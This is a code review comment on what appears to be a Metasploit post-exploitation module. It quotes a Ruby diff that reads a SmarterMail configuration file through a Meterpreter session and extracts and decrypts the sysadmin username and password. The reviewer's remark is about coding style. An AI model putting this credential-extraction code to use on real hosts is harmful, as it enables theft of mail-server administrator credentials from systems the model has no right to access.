You are using Class variables, I believe they should be avoided, try modifying the method to return a hash maybe with the values and check the returned values. 
<pre>

+  def get_smartermail_creds(path)
 +    vprint_status "#{@host} (#{@comp}) - Retrieving SmarterMail sysadmin password"
 +    begin
 +      data = read_file("#{path}") || ''
 +    rescue Rex::Post::Meterpreter::RequestError => e
 +      print_error "#{@host} (#{@comp}) - Failed to download #{path} - #{e}"
 +      return
 +    end
 +    if data.nil?
 +      print_error "#{@host} (#{@comp}) - Configuration file is empty."
 +      return
 +    end
 +    @username = "#{$1}" if data =~ /<sysAdminUserName>(.+)<\/sysAdminUserName>/
 +    @password = decrypt_des(Rex::Text.decode_base64("#{$1}")) if data =~ /<sysAdminPassword>(.+)<\/sysAdminPassword>/
 +  end
</pre>